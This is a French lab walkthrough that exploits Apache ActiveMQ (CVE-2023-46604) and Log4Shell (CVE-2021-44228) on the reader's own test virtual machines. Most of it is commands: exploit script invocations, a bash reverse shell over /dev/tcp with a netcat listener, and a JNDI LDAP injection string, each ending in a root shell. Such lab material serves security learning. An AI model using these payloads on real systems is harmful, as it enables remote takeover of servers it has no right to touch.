
Instructions pour exploiter les vulnérabilités CVE-2021-44228 et CVE-2023-46604
Ce laboratoire guide sur l'exploitation des vulnérabilités de CVE-2023-46604
Ce laboratoire nécessite l'installation de 2 machines virtuelles. Une machine Kali Linux version 2023.4 et une machine Ubuntu version 22.04.3 LTS. Vous pouvez les télécharger ici :

Sur la machine Kali Linux :
Installer git
$sudo apt install git
Installer gedit
$sudo apt install gedit
Sur la machine Ubuntu :
Installer git
$sudo apt install git
Installer openjdk 18
$sudo apt install openjdk-18-jdk
Installer le paquet ActiveMQ 5.18.2
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
Sur la machine Ubuntu Ouvrez une fenêtre de terminal et exécutez la commande comme ci-dessous :
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
Vérifiez l'état du service :
$./activemq status
Si le service démarre avec succès, il s'affichera sur l'écran du terminal comme "ActiveMQ Brocker is running".
Vous pouvez également visiter http://127.0.0.1:8161 pour ouvrir le gestionnaire de broker ActiveMQ. Il inclut le nom d'hôte, la version, l'ID, le temps de disponibilité et d'autres informations.
Sur la machine Kali Linux
Téléchargez les ressources pour le processus d'exploitation :
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
Comme vous pouvez le voir, nous avons 2 fichiers exploit.py et poc.xml :
$cd CVE-2023-46604
$python3 -m http.server
Ouvrez une nouvelle fenêtre de terminal pour envoyer le fichier poc.xml au serveur cible via le fichier exploit.py :
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Après l'exécution de la commande, l'application Calculatrice est lancée sur la machine cible. Cela prouve que la vulnérabilité a été exploitée avec succès. Nous continuons à créer un reverse shell pour contrôler la machine cible.
Ouvrez une nouvelle fenêtre de terminal pour écouter les connexions reverse shell :
$sudo su
$nc -nlvp 4444
Revenez au terminal précédent et modifiez le fichier poc.xml :
$gedit poc.xml
Remplacez la valeur gnome-calculator par bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 et enregistrez le fichier.
Envoi du code malveillant à nouveau :
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Le résultat de cette commande est que nous avons obtenu le shell root sur la machine cible. ROOTED!!!
Ce laboratoire nécessite l'installation de 2 machines virtuelles. Une machine Kali Linux version 2023.4 et une machine Ubuntu version 22.04.3 LTS. Vous pouvez les télécharger ici :

Sur la machine Kali Linux :
Installer git
$sudo apt install git
Installer gedit
$sudo apt install gedit
Sur la machine Ubuntu :
Installer git
$sudo apt install git
Installer docker
$sudo apt install docker.io
Sur la machine Ubuntu
Étape 1 : Téléchargez openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
Étape 2 : Téléchargez et construisez le fichier Docker
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
Après avoir exécuté les commandes ci-dessus, nous avons un site web. Pour naviguer sur le web, vous pouvez utiliser l'URL : http://<ubuntu_ip>:8080. Dans ce tutoriel, l'adresse ressemblera à : http://192.168.132.135:8080
Sur la machine Kali Linux, téléchargez les ressources nécessaires pour exploiter la vulnérabilité
Téléchargez le POC
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
Téléchargez openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//déplacez le fichier openjdk vers le répertoire contenant le fichier POC
$mv jdk-8u20-linux-x64.tar.gz <chemin vers le répertoire contenant le fichier POC>
$tar -xf jdk-8u20-linux-x64.tar.gz //décompressez le fichier
Ouvrez un nouveau terminal pour écouter les connexions reverse shell :
$sudo su
$nc -nlvp 9001
Lancez les services LDAP et HTTP avec le fichier POC
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
La commande renverra des résultats similaires à ceux-ci
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Ici, nous ne nous intéressons qu'à la valeur jndi générée. Ouvrez un navigateur Web et saisissez l'adresse du site Web que vous avez créé précédemment. Connectez-vous en utilisant la valeur jndi. À ce moment, le terminal netcat reçoit une connexion. ROOTED!!!
Pour obtenir du support, envoyez un e-mail à [email protected]